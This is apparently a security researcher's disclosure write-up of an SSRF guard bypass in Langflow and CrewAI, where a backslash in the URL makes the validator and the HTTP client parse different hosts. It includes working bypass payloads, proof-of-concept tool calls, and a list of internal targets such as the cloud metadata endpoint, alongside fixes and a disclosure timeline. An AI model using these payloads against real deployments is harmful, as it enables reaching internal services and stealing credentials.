- security
- ssrf
- ai-agents
- python
- vulnerability-research
- cve
CVE-2026-19304: Bypassing SSRF Guards with Parser Confusion
I found a security flaw in IBM's Langflow and CrewAI that lets attackers reach internal networks. The fix was a single character check. Both vendors patched within weeks.
I've been auditing AI agent frameworks. These tools let language models browse the web, run shell commands, call APIs. Big attack surface. I wanted to see how they handle URL fetching.
I pulled up CrewAI's source and found their SSRF guard. Standard setup: extract hostname with urlparse, check against a denylist, then fetch with requests. But requests uses urllib3 under the hood. Two different URL parsers touching the same input.
That's a code smell. If they disagree on edge cases, the guard checks one thing while the client connects to another.
I started fuzzing: unicode, null bytes, double encoding. Nothing. Then I tried special characters in the authority section. Backslash:
http://127.0.0.1:8080\@1.1.1.1/
Guard passed. Internal service responded.
One character. That's the entire exploit.
The guard parses this URL and sees 1.1.1.1. Public IP, looks safe. The HTTP client parses the same URL and connects to 127.0.0.1:8080. Private IP, not safe at all.
I checked Langflow next. Same code pattern: urlparse in the guard, requests for the fetch. Same payload worked immediately.
Two major frameworks: IBM's Langflow (CVE-2026-19304) and CrewAI (CVE pending). Different companies, different codebases, same mistake.
The Bug
Every Python SSRF guard I've audited does something like this:
from urllib.parse import urlparse
def validate_url(url):
hostname = urlparse(url).hostname
if is_private_ip(hostname):
raise ValueError("blocked")
requests.get(url) # different parser runs here
Two parsers. One URL. They disagree on what it means.
Python's urlparse treats the backslash as a regular character. It reads 127.0.0.1:8080\ as a username and 1.1.1.1 as the actual host.
The HTTP library (urllib3) reads it differently. It extracts 127.0.0.1:8080 as the connection target.
>>> from urllib.parse import urlparse
>>> from urllib3.util import parse_url
>>> url = r"http://127.0.0.1:8080\@1.1.1.1/"
>>> urlparse(url).hostname
'1.1.1.1'
>>> parse_url(url).host
'127.0.0.1'
The guard approves a public IP. The client connects to localhost.
AI Agents Make This Worse
Traditional web apps fetch URLs in limited contexts: profile pictures, webhook callbacks. Small attack surface.
AI agent frameworks are built to fetch arbitrary URLs. That's the whole point. The agent researches topics, scrapes websites, calls external APIs. The SSRF guard is the only barrier between user input and your internal infrastructure.
When that guard fails, everything behind the firewall is fair game:
| Target | What leaks |
|---|---|
169.254.169.254 | AWS credentials |
| Docker network | Internal APIs, sidecars |
localhost:9200 | Elasticsearch, Redis, databases |
| Admin panels | Grafana, Prometheus, internal tools |
Getting Clean Paths
The basic bypass leaves a mangled path (/%5C@1.1.1.1/). Most services return 404.
Path traversal fixes that:
http://127.0.0.1:8080\@1.1.1.1/../admin/secrets
The requests library normalizes /../ before sending. The internal service receives a clean request:
GET /admin/secrets HTTP/1.1
Host: 127.0.0.1:8080
Arbitrary host. Arbitrary path. Full response body returned. Complete SSRF with data exfiltration.
Affected Frameworks
Langflow (CVE-2026-19304)
Backed by IBM. 152k GitHub stars. Listed in CISA's Known Exploited Vulnerabilities catalog.
The guard uses urlparse. The fetcher hands the same URL string to requests:
# lfx/utils/ssrf_protection.py
parsed = urlparse(url)
hostname = parsed.hostname
if is_ip_blocked(resolve(hostname)):
raise SSRFProtectionError(...)
# lfx/utils/ssrf_requests.py
validate_url_for_ssrf(url)
requests.get(url) # urllib3 re-parses
Vulnerable components: RSSReaderSimple, SearXNGToolComponent. Both ship enabled by default.
Proof:
# Blocked
rss_url = "http://172.19.0.3:9000/"
→ SSRFProtectionError
# Bypassed
rss_url = "http://172.19.0.3:9000\@1.1.1.1/../secret.rss"
→ 200 OK, response body returned
Access required: Any authenticated user with an API key. No admin privileges needed.
Severity: CVSS 7.7 High
Fix: PR #14430. Rejects backslash in URL authority. Fixed in Langflow 1.11.3.
CrewAI
Powers 65% of Fortune 500 AI deployments. 60k GitHub stars.
Same bug, same pattern:
# crewai_tools/security/safe_path.py
def validate_url(url):
parsed = urlparse(url)
for ip in socket.getaddrinfo(parsed.hostname, ...):
if is_blocked_ip(ip):
raise ValueError(...)
return url # urllib3 will re-parse this
Vulnerable component: ScrapeWebsiteTool
Proof:
from crewai_tools import ScrapeWebsiteTool
# Blocked
ScrapeWebsiteTool()._run("http://127.0.0.1:8080/secret")
# → ValueError: private IP
# Bypassed
ScrapeWebsiteTool()._run(r"http://127.0.0.1:8080\@1.1.1.1/../secret")
# → SECRET-CONTENT-HERE
Fix: PR #6981. Added SSRFProtectedAdapter that validates the peer IP at connect time. Fixed in crewai-tools 1.15.17.
CVE: Pending via GitHub Security Advisory.
How to Fix This
Three options. Any one works.
1. Block the ambiguous character
if '\\' in url or '%5c' in url.lower():
raise ValueError("backslash not allowed in URL")
2. Use the same parser everywhere
from urllib3.util import parse_url
def validate_url(url):
parsed = parse_url(url) # same parser the client uses
if is_private_ip(parsed.host):
raise ValueError("blocked")
3. Validate at connect time
Check the resolved IP when the TCP connection actually opens. This is what CrewAI's fix does. Even if the URL parsing is fooled, the real connection gets blocked.
Timeline
| Date | Langflow | CrewAI |
|---|---|---|
| Aug 1 | Reported via HackerOne | |
| Aug 2 | Reported via Bugcrowd | |
| Aug 5 | Triaged | |
| Aug 7 | Fix merged (PR #14430) | |
| Aug 15 | Escalated to CERT/CC | |
| Aug 17 | Fix merged (PR #6981) | |
| Aug 28 | Vendor confirmed | |
| Sep 2 | CVE-2026-19304 assigned |
Both vendors shipped fixes within two weeks of receiving the report.
Why This Keeps Happening
This bug class isn't new. Orange Tsai presented URL parser differentials at Black Hat 2017. Python's urlparse backslash behavior was reported in bpo-35748 and closed as "not our bug."
Nine years later, two major AI frameworks shipped the same vulnerability. Different teams, different companies, same mistake.
It keeps happening because:
from urllib.parse import urlparselooks like the right choice- Unit tests pass. Nobody thinks to test
127.0.0.1\@8.8.8.8 - SSRF guard code gets copy-pasted between projects
If you maintain Python code that validates URLs: grep for urlparse, test with the backslash payload. You might have the same bug.
Comments
Sign in with GitHub to leave a comment or react. Powered by Giscus.